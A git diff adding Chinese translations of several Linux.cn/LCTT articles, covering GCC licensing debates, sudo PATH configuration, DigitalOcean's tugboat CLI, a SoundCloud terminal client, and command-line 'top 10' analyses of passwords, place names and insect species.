+最后给出了一个服务正在维护的答复,如果你的电子邮件停了一天你能应付,那么3天呢?甚至是一个月你还能应付得了吗,那么你也就只能任由服务提供商摆布了。 + +很多大公司已经取回了丢失的数据,但是仍然有很多心脏病漏洞(openssl的heartbleed安全漏洞)的消息在,这是ssl应用多年中发现的一个重大的安全漏洞。 + +所以说,如果你用了别人提供的在线服务,那么你必须信赖他们技术支持人员,你也必须相信他们不会出现被黑客攻击,硬件故障,缺乏备份和无法恢复系统这样的情况。 + +### 总结 ### + +现在云计算早已成了充斥着在线服务的主题,你的浏览器就是一个客户端,连接世界上任意一个地方的服务器或者是服务器集群。重点是你没必要去关注,而且你也不需要知道。 + +一般来说,我们仅仅触及的是它的表面,所有我们每天接触到的云,对于我们大多数人来说甚至都不用去关注它。 + +至于说云到底是怎样影响着每一位linux用户,事实去证明是有很多的。 + +云到底是好是坏?又或许什么都不是。每一种服务的好坏都要看它的优势。 + +或许云仅仅是营销人员炒起来的一个概念,也只会让技术新闻感到兴奋。是否还有人记得我们一直在用的“Web 2.0”? + +感谢您的阅读。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxnews.pro/how-does-the-cloud-affect-the-everyday-linux-user/ + +译者:[barney-ro](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201409/20140624 Staying free--should GCC allow non-free plug ins.md b/published/201409/20140624 Staying free--should GCC allow non-free plug ins.md new file mode 100644 index 0000000000..717276273d --- /dev/null +++ b/published/201409/20140624 Staying free--should GCC allow non-free plug ins.md @@ -0,0 +1,38 @@ +保持自由 - GCC应该接受收费插件吗? +================================================================================ + +> GCC邮件列表中在争论GCC是否应该接受收费插件,但是认为GCC是一个免费软件开发的媒介的论调占得了上风 + +Gcc以及它在模块化方面的缺失又一次作为一个问题被提出来,并且和市场上的新的编译器LLVM做了对比。GCC巨大而古老:5百万行代码,30年研发时间,并且还在继续增长。相比较而言,LLVM更加年轻,更加模块化,并且允许所有的语言都作为一个模块添加进去。 + +LLVM的核心是‘开放源代码’。GCC是反著作权(copyleft)代表,是严格的免费软件,她不允许以任何形式收费的插件的代码进入到GCC的代码中。争论的一种意见,正如Eric Raymond说的,“FSF不可能既阻止持有所有权的供应者添加他们的插件到一个免费编译器中,又让这个编译器得到发展。就像马儿已经偏离了跑道,反对插件策略的战略目标已经彻底的失败了”。 + +LLVM已经被苹果公司采用作为OS X和苹果硬件上GCC的替代品,并且正在变得流行起来,特别是在BSD系列操作系统的用户中间。LLVM的拥护者推测LLVM将会在更广阔的应用程序和移动设备开发市场上成为GCC的替代者。GCC的反对者们的观点是GCC太过复杂,并且开发者们必须遵守她的‘反著作权(copyleft)’。这限制了那些不想在‘反著作权(copyleft)’许可证下发布他们的语言或者软件产品。作为典型,苹果公司有一个很长的厌恶免费软件的历史。他们也不允许遵守‘反著作权(copyleft)’的软件通过他们的App Store发布。 + +LLVM和GCC之间的争论其实是GNU/Linux和BSD系列、开放源代码和免费软件之间历史差异的翻新版。开放源码的开发者允许代码被以任何形式的使用,免费或者维持版权。免费软件则严格地规定,代码或者针对代码做的更新,必须保持永久免费。免费软件的支持者认为完整的‘反著作权’授权有助于GCC的发展,并且已经将Linux和免费软件带到一个其他方式无法到达的高度,同时保证了免费软件不会被收购或者堕落成商业利益。开放源码的支持者则认为开放源码更加的自由,因为使用这没有受到限制,他们可以随意使用,包括开发非开源的版本。 + +GNU编译器集合(GCC)一直是免费软件发展的关键。编译器是稀有且昂贵的商品,版权软件公司也充斥着对不符合标准的特性的需求。让软件兼容不同的机器和操作系统是一个非必需的复杂任务。GCC作为第一个真正免费的跨平台编译器,简化了这个过程。 + +GCC对于软件开发者和移动设备开发者来说也是一个划时代的产品,而不仅仅对于那些免费软件概念提出者。GCC不但免费和可移植,她跨越不同硬件架构的普遍性和公用性使得更加容易做到软件的兼容性、鲁棒性和一致性。这和John Gilmore,Michael Tiemann和David Henkel-Wallace在开发GCC时发现的一样。这也是Cygnus Solutions公司主要的卖点,Cygnus Solutions是第一家靠卖免费软件赚钱的公司。[译注:Cygnus Solutions是John Gilmore, Michael Tiemann and David Henkel- Wallace创办的公司,同时也是GNU几个主要产品的贡献者] + +LLVM和GCC之间主要的技术差异集中在组成‘前端’,‘中端’,‘后端’的模块分割。‘前端’用来翻译特定的语言。‘中端’对翻译后产生的代码进行优化。‘后端’将优化后的代码转化成特定硬件架构的机器码。LLVM将这些模块分割成不同的实体,但是由于语义的和历史的原因,GCC模糊了这些模块之间的界限。 + +对于一个免费软件项目,添加一种新的语言或者架构到GCC也许是一个非常困难的过程,添加有版权的插件也是不允许的。由于模块间界限非常不明确,最容易的添加方法就是让添加的特性遵循免费软件许可证。最初的开发者也许想保持代码的封闭和版权,但最后不得不将代码以免费软件发布。早期的C++以及Objective C就被认为是其中典型的例子。 + +与此相反,LLVM允许,甚至也许可以说是鼓励添加和发展版权语言和架构,比如英伟达基于Clang和LLVM的对于GPU开发的NVCC。NVCC的源代码是免费软件或者开源软件开发者获取不到的。 + +Richard Stallman[对这方面的演讲中][1]旗帜鲜明地宣布:“在免费软件运动中,我们为自由而战。免费软件的的价值观从根本上就和开源软件不同,后者以写‘更好的代码’为终极目标。如果GCC从免费的编译器变成非免费的编译器,她将不再能够达成自由的目标。 + +“Clang和LLVM的开发者不认可我们的价值观和目标,所以得出了跟我们不一样的结论。他们反对我们采取的捍卫自由的措施,因为他们只看到这对他们造成的不便,却没有看到(或者不关心)他们真正的需求。我猜测他们把他们的工作定义为‘开源’,并且漠视自由。” + +GCC开发者们不可能在许可证的条件上妥协。LLVM在某些行业的部门非常流行,因为它很年轻很新,在编程语言的浪潮中跳跃式发展着。流行的风向着更加开放奔跑,GCC决心跟商业利益死磕也许是这个长期演进路上的一大助力。Unix公司们从80和90年代的Unix战争中学到了一些东西。语言和操作系统都是工具,它们最好是开放和共享的。GCC是免费软件,不属于任何人。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxuser.co.uk/features/staying-free-should-gcc-allow-non-free-plug-ins + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lwn.net/articles/582241 diff --git a/published/201409/20140716 Linux FAQs with Answers--How to define PATH environment variable for sudo commands.md b/published/201409/20140716 Linux FAQs with Answers--How to define PATH environment variable for sudo commands.md new file mode 100644 index 0000000000..33d5164a96 --- /dev/null +++ b/published/201409/20140716 Linux FAQs with Answers--How to define PATH environment variable for sudo commands.md @@ -0,0 +1,23 @@ + +Linux有问必答——如何为sudo命令定义PATH环境变量 +================================================================================ +>**问题**:我安装了一个程序到/usr/local/bin目录下,这个程序需要root权限才能执行,当我用sudo去执行它时,收到"sudo: XXXXX: command not found"的错误提示,不知道为什么/usr/local/bin没有被包含到PATH环境变量下面来,我该如何解决这个问题? + +当你使用sudo去执行一个程序时,处于安全的考虑,这个程序将在一个新的、最小化的环境中执行,也就是说,诸如PATH这样的环境变量,在sudo命令下已经被重置成默认状态了。所以当一个刚初始化的PATH变量中不包含你所要运行的程序所在的目录,用sudo去执行,你就会得到"command not found"的错误提示。 + +要想改变PATH在sudo会话中的初始值,用文本编辑器打开/etc/sudoers文件,找到"secure_path"一行,当你执行sudo 命令时,"secure_path"中包含的路径将被当做默认PATH变量使用。 + +添加所需要的路径(如 /usr/local/bin)到"secure_path"下,在开篇所遇见的问题就将迎刃而解。 + + Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin + +这个修改会即刻生效。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/define-path-environment-variable-sudo-commands.html + +译者:[nd0104](https://github.com/nd0104) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git a/published/201409/20140718 Need Microsoft Office on Ubuntu--Install the Official Webapps.md b/published/201409/20140718 Need Microsoft Office on Ubuntu--Install the Official Webapps.md new file mode 100644 index 0000000000..e5439c5edf --- /dev/null +++ b/published/201409/20140718 Need Microsoft Office on Ubuntu--Install the Official Webapps.md @@ -0,0 +1,58 @@ +在Ubuntu上要用微软OFFICE?去安装官方的Web应用吧 +================================================== +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/office-web-app-.jpg) + +**不论你喜欢与否,微软 Office 及其文件格式是大多数工作和学习环境所必须的,无论是好用还是不好用** + +通过使用[LibreOffice的应用程序套件][1],在Ubuntu上阅读、编辑和保存这些专有文件格式出现是基本可行的。 Writer、Calc和Impress都不同程度的和微软 Office 可以互通,虽然以我的实际经验来看(幸好很短暂),不是很完美。 + +有时候你会不得不使用微软Office(虽然我们大多数人都心里向着开放标准,但是我们不应该无视实际问题),但你如果不太想去购买一个完整的微软OFFICE许可证,并通过 WINE来运行它,那么微软的在线网络应用程序就是完美的解决方法。 + +###在Ubuntu安装微软在线办公软件上的应用程序### + +为了更容易地从Ubuntu的桌面访问这些在线版本,“Linux的Web应用项目”创造了一个小的、非官方的安装程序。它可以添加Web应用程序的快捷方式(“漂亮的书签”)到您的应用程序启动器。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/microsoft-office-web-apps.jpg) + +通过快捷方式,可以在你的默认的浏览器中打开相应的Microsoft Web应用,不可能有比这更简单的了。听起来不错吧?你可以找到这些Web 应用的快捷方式: + +- Word +- Excel +- PowerPoint +- Outlook +- OneDrive +- Calendar +- OneNote +- People + +该软件包还创建了一个新的应用程序类别来容纳这些链接,不但可以让您把这些快捷方式从其他应用程序单独分开来,而且是直接位于常见的“办公软件”应用程序下。 + +这些都是必不可少的吗?不见得。他们有用吗?这取决于你的工作需要。但它是不错的选择吗?一定是的。 + +你可以从下面的链接下载.deb文件安装程序。适用于Ubuntu14.04 LTS和更高版本。 + +- [下载微软的在线办公应用(.deb)][2] + +###其他可选项### + +![](http://d0od.wpengine.netdna-cdn.com/wp-content/uploads/2014/04/Screen-Shot-2014-04-15-at-15.29.35-350x200.png) + +类似的替代方案是[安装Chrome官方网上应用商店的在线办公应用程序][3],然后添加应用程序启动器到Linux。这也会在 Dash 中为它们创建启动快捷方式,不过那些可以被设置为打开自己的窗口框架中,而且不需要安装任何第三方软件包。 + +同时,谷歌最近在整合完整的Office功能(由于其购买了QuickOffice)[到自己的文档,幻灯片和表单应用][4]。Android应用程序Quickoffice退出了舞台,而以Chrome扩展的方式再次出现。 + +如果你是一个深度的谷歌网络硬盘/文档的用户,那么这个解决方案可能对你来说更好。 + +-------------------------------------------------- ------------------------------ + +via: http://www.omgubuntu.co.uk/2014/07/run-microsoft-office-web-apps-ubuntu-desktop + +译者:[cereuz](https://github.com/cereuz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/ +[2]:https://docs.google.com/file/d/0ByQnaVw7riBQMjNCUFh4ZlM4Y0E/edit?usp=sharing +[3]:http://www.omgchrome.com/microsoft-brings-office-online-chrome-web-store/ +[4]:http://www.omgchrome.com/quickoffice-chrome-extension-gets-name-change/ diff --git a/published/201409/20140722 How to manage DigitalOcean VPS droplets from the command line on Linux.md b/published/201409/20140722 How to manage DigitalOcean VPS droplets from the command line on Linux.md new file mode 100644 index 0000000000..4583ec0554 --- /dev/null +++ b/published/201409/20140722 How to manage DigitalOcean VPS droplets from the command line on Linux.md @@ -0,0 +1,185 @@ +使用Linux命令行管理DigitalOcean VPS水滴 +================================================================================ +[DigitalOcean][1]是云VPS主机市场中最炙手可热的新生儿。虽然没有提供像Amazon之类一样的综合服务业务,但DigitalOcean定位于中小型企业和开发者,已经成为基于Linux的最佳云VPS服务的强有力竞争者,这都得归功于它们具有竞争力的价格和用户友好的管理界面。 + +![](https://farm4.staticflickr.com/3841/14501627500_2ef275ac1c_z.jpg) + +不管什么时候,当你需要一个面向网络的服务器用于你的个人项目,你都可以全速开动一个“水滴”([DigitalOcean][3]中VPS实例的昵称),也可以在你不需要时杀掉它,没必要为了让你的VPS保持运作而烧光了你的钱袋。尽管DigitalOcean基于网络的管理界面已经十分高效,但对于那些命令行界面的死忠派,它还是提供了基于命令行界面的水滴管理工具,它叫[tugboat][4]。多亏了这个命令行工具,所有复杂的水滴管理任务都可以简单地转变成一个脚本来完成。 + +在本文中,我打算讲述**怎样使用tugboat来从命令行对DigitalOcean水滴进行管理**。 + +### 在Linux上安装tugboat ### + +在Debian,Ubuntu或者Linux Mint上安装tugboat: + + $ sudo apt-get install ruby-dev + $ sudo gem install tugboat + +在Fedora上安装tugboat: + + $ sudo yum install ruby-devel + $ sudo gem install tugboat + +要在CentOS上安装tugboat,首先[安装或升级到最新的Ruby][5],因为在CentOS 6.5以及更早的版本上,默认的Ruby不满足Tugboat所需的最小版本(1.9及更高版本)。安装Ruby 1.9及更高版本后,请按如下方式安装tugboat。 + + $ sudo gem install tugboat + +### tugboat首次使用配置 ### + +在安装完后,就该进行一次配置,其中包括授权tugboat访问DigitalOcean帐号。 + +转到[https://cloud.digitalocean.com/api_access][6],并创建新的API密钥,记录客户ID和API密钥。 + +![](https://farm4.staticflickr.com/3836/14688299215_fd282a0142_z.jpg) + +通过运行以下命令来启动授权过程: + + $ tugboat authorize + +在提示你输入客户ID和API密钥时,请输入。它会询问几个其它问题,目前你可以接受默认的回答。我们将会在后面自定义默认设置。 + +[![](https://farm6.staticflickr.com/5596/14685122101_dba50fc86b_z.jpg)][7] + +现在,让我们自定义默认水滴设置,以反映你典型的使用状况。要做到这一点,首先检查水滴提供的可用设置项(如,可用的镜像、区域、大小)。 + +运行以下命令,它会列出可用的水滴镜像。选取使用一个默认镜像,并记录相关的ID。 + + $ tugboat images --global + +![](https://farm3.staticflickr.com/2900/14688299175_e77e74fa1e_z.jpg) + +类似,从可用区域中选取一个默认的地理位置: + + $ tugboat regions + +同时,从可用的RAM大小中选择一个默认的水滴大小: + + $ tugboat sizes + +![](https://farm4.staticflickr.com/3858/14501661238_4304e8bdfb_o.png) + +现在,把你的默认选择放到~/.tugboat中。例如,我在这里自定义了默认设置:区域在纽约,系统是Ubuntu 14.04,内存512MB。如果你想要通过密钥验证启用SSH,设置“ssh_user”为root,这个我很快会讲到。 + + $ vi ~/.tugboat + +---------- + + --- + authentication: + client_key: XXXXXXXXXXXXXXXXXXX + api_key: XXXXXXXXXXXXXXXXXXXX + ssh: + ssh_user: root + ssh_key_path: /home/dev/.ssh/id_rsa + ssh_port: '22' + defaults: + region: '4' + image: '3240036' + size: '66' + ssh_key: '' + private_networking: 'false' + backups_enabled: 'false' + +### 创建并添加SSH密钥到DigitalOcean ### + +要访问水滴实例,一个安全的方式是通过[密钥验证][8]的SSH连接到该实例。 + +事实上,你可以通过使用[DigitalOcean][9]来注册SSH公钥,为你的水滴实现自动启用密钥验证。下面告诉你怎么做。 + +首先,生成一个公/私密钥对(如果你还没有)。 + + $ ssh-keygen -t rsa -C "your@emailaddress.com" + +假设生成的密钥对由~/.ssh/id_rsa(私钥)和~/.ssh/id_rsa.pub(公钥)构成,去将你的公钥上传吧,命令如下: + + $ tugboat add-key [name-of-your-key] + +你可以任意给你的密钥命名(如,“my-default-key”)。当出现提示时,输入公钥路径(如,/home/user/.ssh/id_rsa.pub)。在密钥上传完成后,运行以下命令来验证密钥是否正确添加: + + $ tugboat keys + +![](https://farm4.staticflickr.com/3869/14501853397_3d3f4365b1_z.jpg) + +密钥也应该出现在DigitalOcean的[SSH密钥页][10]。如果你想要密钥自动使用到水滴中,添加密钥ID到~/.tugboat中。 + + ssh_key: '182710' + +### Tugboat的基本用法 ### + +这里列出了tugboat命令行的一些基本使用情况。 + +1. 使用默认设置创建新水滴。 + + $ tugboat create + +2. 列出所有活动水滴。 + + $ tugboat droplets + +3. 显示水滴的信息。 + + $ tugboat info + +[![](https://farm6.staticflickr.com/5593/14501627440_5835506d2a_z.jpg)][11] + +4. 关闭水滴,并移除镜像。 + + $ tugboat destroy + +5. 关闭水滴,但保持镜像 + + $ tugboat halt + +6. 为水滴创建快照,水滴必须先关闭。 + + $ tugboat snapshot + +7. 调整水滴大小(增加或减少RAM大小),水滴必须先关闭。 + + $ tugboat resize -s + +如果你想要了解特定命令的更多选项,运行: + + $ tugboat help + +![](https://farm4.staticflickr.com/3900/14688013322_4fa6080c5e_z.jpg) + +### 排障 ### + +1. 当我运行tugboat命令时,它出现以下错误。 + + /usr/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:31:in `gem_original_require': /usr/lib/ruby/gems/1.8/gems/tugboat-0.2.0/lib/tugboat/cli.rb:12: syntax error, unexpected ':', expecting kEND (SyntaxError) + +Tugboat要求Ruby 1.9及更高版本,你需要升级Ruby来解决该问题。对于CentOS,请参考[此教程][12] + +2. 当我试着用gem来安装Tugboat时,出现了下面的错误。 + +/usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- json/pure (LoadError) + +安装以下gem来修复该问题。 + + $ sudo gem install json_pure + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/manage-digitalocean-vps-droplets-command-line-linux.html + +原文作者:[Dan Nanni][a] + +译者:[GOLinux](https://github.com/GOLinux) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/go/digitalocean +[2]:http://news.netcraft.com/archives/2013/12/11/digitalocean-now-growing-faster-than-amazon.html +[3]:http://xmodulo.com/go/digitalocean +[4]:https://github.com/pearkes/tugboat +[5]:http://ask.xmodulo.com/upgrade-ruby-centos.html +[6]:https://cloud.digitalocean.com/api_access +[7]:https://www.flickr.com/photos/xmodulo/14685122101/ +[8]:http://xmodulo.com/2012/04/how-to-enable-ssh-login-without.html +[9]:http://xmodulo.com/go/digitalocean +[10]:https://cloud.digitalocean.com/ssh_keys +[11]:https://www.flickr.com/photos/xmodulo/14501627440/ +[12]:http://ask.xmodulo.com/upgrade-ruby-centos.html diff --git a/published/201409/20140723 How to access SoundCloud from the command line in Linux.md b/published/201409/20140723 How to access SoundCloud from the command line in Linux.md new file mode 100644 index 0000000000..1bf697f712 --- /dev/null +++ b/published/201409/20140723 How to access SoundCloud from the command line in Linux.md @@ -0,0 +1,89 @@ +如何在Linux命令行下访问SoundCloud +================================================================================ +如果你喜欢流媒体音乐和原创音乐,你不能错过[SoundCloud][1]。这家云流媒体服务总部设在德国,这对任何音乐爱好者都非常有名,且功能完善。自然,作为一个Linux爱好者,你可能想知道如何在Linux中体现你对音乐的热情。作为一个解决方案,我建议你使用Soundcloud2000,这是一个脱胎于[Music Hack Day Stockholm '13][2]的**SoundCloud的命令行客户端**。 + +### 安装 ### + +对于Debian或者Ubuntu用户,如下安装: + + $ sudo apt-get install portaudio19-dev libmpg123-dev libncurses-dev ruby1.9.1-dev + $ sudo gem install soundcloud2000 + +对于Archlinux用户,在[AUR][3]仓库中可以获取到包 + +对于Fedora用户,如下安装: + + $ sudo yum install portaudio-devel libmpg123-devel ncurses-devel ruby-devel + $ sudo gem install soundcloud2000 + +对于CentOS用户,安装或者升级到[最新 Ruby/RubyGems][4] (1.9或更高),启用[Repoforge repo][5],如下安装: + + $ sudo yum install portaudio-devel mpg123-devel + $ sudo gem install curses soundcloud2000 + +最后,到官方的github页面获取源码 + +### 使用 ### + +Soundcloud2000非常容易使用。有些人甚至会说简单。我喜欢它的庄重以及三位作者和贡献者的努力。如下启动它: + + $ soundcloud2000 + +这里,你将看到一个闪屏: + +![](https://farm4.staticflickr.com/3919/14658085706_71c9094e4f_z.jpg) + +接着是歌曲列表: + +![](https://farm4.staticflickr.com/3888/14494626757_3e788482d5_z.jpg) + +您可以通过上下键滚动列表,回车播放一首歌曲,空格键是暂停/恢复,左右箭头键是快进/快退。正如你所看到的,没有什么突破性的但绝对符合人体工程学。 + +如果随机列表太长无法滚动完,你有一个选项来查看所有曲目,用户通过点击'u'键接着输入自己的名字。 + +![](https://farm4.staticflickr.com/3861/14494436719_b5536f7b67_z.jpg) + +这可能是Soundcloud2000的主要缺陷之一。虽然导航没有优化过,但是我对这个很年轻的软件的改善和支持还是寄予厚望的。 + +### 奖励 ### + +另外一个额外的奖励:如果你喜欢在终端上使用SoundCloud的想法,但不想安装任何额外的软件(也许你不能),我劝你去[cmd.fm][6]。该网站是一个伪装的SoundCloud,它隐藏在一个shell界面后。 + +[![](https://farm6.staticflickr.com/5580/14494448218_a16b05e3ee_z.jpg)][7] + +输入“help”可以得到命令列表,这比Soundcloud2000长很多。比如,我看到: + +- _genres 列出所有流派 +- _play random 随机播放 +- _pause 暂停播放 +- _playlist new 建立新的播放节目单 +- _loop 循环播放 +- _cinema 如同星球大战一样的字幕 + +它甚至支持通过tab键自动补完流派名称 + +最后,Soundcloud2000的确是一个整洁的程序。我们可以原谅其目前的缺陷,因为它还年轻。我真的希望它会成长,并包含更多的功能(并从潜在的cmd.fm得到的灵感)。 + +如果您喜欢这个主意,我邀请你支持程序员,如果你喜欢这类举措,请支持[Music Hack Day][8],这其中混合了软件开发和音乐。 + +你认为在命令行下使用SoundCloud怎么样?让我们在评论中知道你的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/access-soundcloud-command-line-linux.html + +原文作者:[Adrien Brochard][a] + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:https://soundcloud.com/ +[2]:https://www.hackerleague.org/hackathons/music-hack-day-stockholm-13/ +[3]:https://aur.archlinux.org/packages/ruby-soundcloud2000/ +[4]:http://ask.xmodulo.com/upgrade-ruby-centos.html +[5]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[6]:https://cmd.fm/ +[7]:https://www.flickr.com/photos/xmodulo/14494448218/ +[8]:http://new.musichackday.org/ \ No newline at end of file diff --git a/published/201409/20140723 Top 10 Fun On The Command Line.md b/published/201409/20140723 Top 10 Fun On The Command Line.md new file mode 100644 index 0000000000..85e3ef31ac --- /dev/null +++ b/published/201409/20140723 Top 10 Fun On The Command Line.md @@ -0,0 +1,114 @@ +用命令行去发掘有趣的“前十” +================================================================================ + +**如果你喜欢做‘排名前10’之类的列表但又有点不好意思这样说,那么告诉人们你热爱数据的探索。为了进一步打动他们,向他们解释你在命令行间的数据探索。但是不要告诉他们这其实很容易,以免你的好形象就这样被毁灭了哦!** + +在这篇文章中,我将基于GNU/Linux工具和'单列表格'(也就是我所说的简单列表)来做一些数据探索。如若想在这里通过命令行查看更多的信息,请查看'man'页,或者在“注释”部分求解。 + +### 密码 ### + +在第一个列表里探讨的是马克.伯内特2011著的关于[10000 个最常用的密码][1]汇编。这个列表是有序的、使用最频繁的,也是广为人知的阶乘“密码”的最常用来源之一,与“123456”并列排名第二。在这里,我把该列表放到一个名为“passwords”的文件中,并且使用head命令把排名前10的列出来了: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/1.png) + +(伯内特解释他是如何收集这些密码的[这里][2]。你会注意到在列表中他把所有大写字母都转换成小写的。) + +OK,所以'password'是伯内特列表的顶部。那么每个数字呢? + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/2.png) + +非常有趣的是!数字'1'出现在密码列表中的次数多于第二个最常用数字'2'的两倍,而且,除了0和9之外,这十个数字出现的次数以其数字顺序排列。而排名前10的字母呢? + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/3.png) + +在 passwords 文件中出现最频繁的字母依次是EARONISTLC,类似于EAIRTONSLC,这是至少[一个出版的表格][3]中提到的常用英文单词中出现的字频。这是否意味着,大部分密码其实是一些常见的英语单词呢,也许会参杂一些数字呢? + +为了找到答案,我先把密码转换成一个纯字母的字符串列表,然后看看有多少字符串是可以在英语词典中找到的。 + +首先我将通过 **sed** 命令删除所有密码中的数字,然后删除所有的标点符号,再删除所有的空行。这将创建出一个纯字母的密码列表。然后我通过**sort** 和 **uniq**来修剪列表的排序,将重复项取出。(例如,'abc1234def'和'abc1!2!3!def!'都剔除剩下'abcdef'.) 。根据wc命令,我把1000个密码减至成8583个纯字母的字符串: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/4.png) + +我经常使用一本便携式的英语字典,我通常会使用`usr/share/dict/american-english`,这个文件是来自Debian Linux的一个发行版本。它包含了99171个单词。我会先通过**tr**命令将这个词表转换为纯小写的,然后使用**sort** 和 **uniq**删除掉任何重复的条目排序(例如'A' 和 'a' 都将成为 'a')。这样就将词表的数量减至97723项了: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/5.png) + +我现在可以用comm命令及'-23'的参数来比较两个列表,并报告纯字母文件中而没有出现在字典中的单词: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/6.png) + +总数是3137,所以至少有8583 -3137 = 5446个'核心'密码在伯纳特的纯小写字母列表中(大约63%)是简单的英语单词,或者是简单的单词附加一些数字或者标点符号。我之所以说“至少”,是因为在3137个字符串中有很大比例是只有经过轻微修改的纯英语单词、名称、或者在/usr/share字典中未能找到的名称修改而成的。在LA项中,例如,'labtec', 'ladyboy', 'lakeside', 'lalakers', 'lalala', 'laserjet', 'lasvegas', 'lavalamp' 和 'lawman'. + +### 地名 ### + +在之前的一篇[Linux Rain article][4],我描述了如何建立一张37万项澳大利亚的地名表。有了它,我现在可以回答一些类似这样的关键问题“Round Hill是澳大利亚山脉中最流行的名字吗?”和“桑迪是沙滩之最,而岩溪峡谷呢?” + +在地名表中地名字段的排名第2,所以这里有: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/7.png) + +哇。我当时甚至没有关闭这个终端。(但是请注意到我是如何通过**\^string1\^string2**命令保存打印的内容。它重复着最后一个命令,但是用第2个字符串代替了第1个字符串。这是多么有用的BASH绝招!) + +另一个亟待解决的问题是有多少地名有'Mile'在其中,例如'Six Mile Creek',而他们的排名又是如何: +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/8.png) + +我在我的澳洲之旅发现有很多Dead Horse Creeks,因此有这些地名: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/9.png) + + +### 种类 ### + +第三个列表是探索我今年出版的1961-2010年期间澳大利亚新种类昆虫名。从这个列表中,我去掉所有“物种的绰号”,就是种群组合的第二部分,比如像智人(你和我)和西方蜜蜂(欧洲蜜蜂)。 + +(科技小贴士:这个昆虫表,可以从开发数据Zenodo库中[https://zenodo.org/record/10481][5]取得,包括亚种。在我的‘top 10’练习中,我首先分离出所有独特的种群组合,这样避免了重复的,例如蜜蜂iberica的亚种,以避免蜜蜂的绰号intermissa,等等。最后一个物种文件有18155个绰号。) + +大多数人讲科学名称带玩笑式地用'-us'结局,如'Biggus buggus'。那么昆虫学家呢?有几个不错的,用命令行的方式获取字符串的最后2个字母,在这里我都会用到这2个: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/10.png) + +耶!昆虫学家喜欢也‘-us’结尾。接下来,我不知道有多少物种是以我的家乡Tasmania州来命名的?(下面我想看看前100行,来确保我得到的所有'tasman'组合.) + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/11.png) + +那么昆士兰呢? + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/12.png) + +一般来说,昆虫物种名单中的前10名分别是什么呢? + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/13.png) + +嗯,除了明显的'australis'和'australiensis',而地理方面的'occidentalis'(西部),另外昆虫学家创建7个在10个最流行列表中的绰号已经履行了其它昆虫学家的意愿。(绰号'commoni'是给澳大利亚蝴蝶和蛾专家Ian F.B. Common[1917-2006]的荣誉。) + +### 演变 ### + +上面的这些命令用在简单列表上。要从简单的列表变成文本块,那就再次需要我们的命令行朋友了。例如,我把澳大利亚参议院于2014年7月16日的[演讲][6]保存成文本文件hansard。将hansard分割成一个单词列表: +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/14.png) + + +现在看看讲话中的单词使用频率: + +![](http://thelinuxrain.com/content/01-articles/67-top-10-fun-on-the-command-line/15.png) + +### 即将推出... ### + +从多列的表中做'top 10'等排名,需要更多些的命令行工具。我将会在未来的文章中证明他们的用处。 + + +-------------------------------------------------------------------------------- + +via: http://thelinuxrain.com/articles/top-10-fun-on-the-command-line + +原文作者:Bob Mesibov(Bob Mesibov is Tasmanian, retired and a keen Linux tinkerer.) + +译者:[disylee](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://xato.net/passwords/more-top-worst-passwords/#.U8eD13AvDy0 +[2]:https://xato.net/passwords/how-i-collect-passwords/#.U8eEdnAvDy0 +[3]:http://www.rinkworks.com/words/letterfreq.shtml +[4]:http://www.thelinuxrain.com/articles/building-a-gazetteer-table-from-kml-files +[5]:https://zenodo.org/record/10481 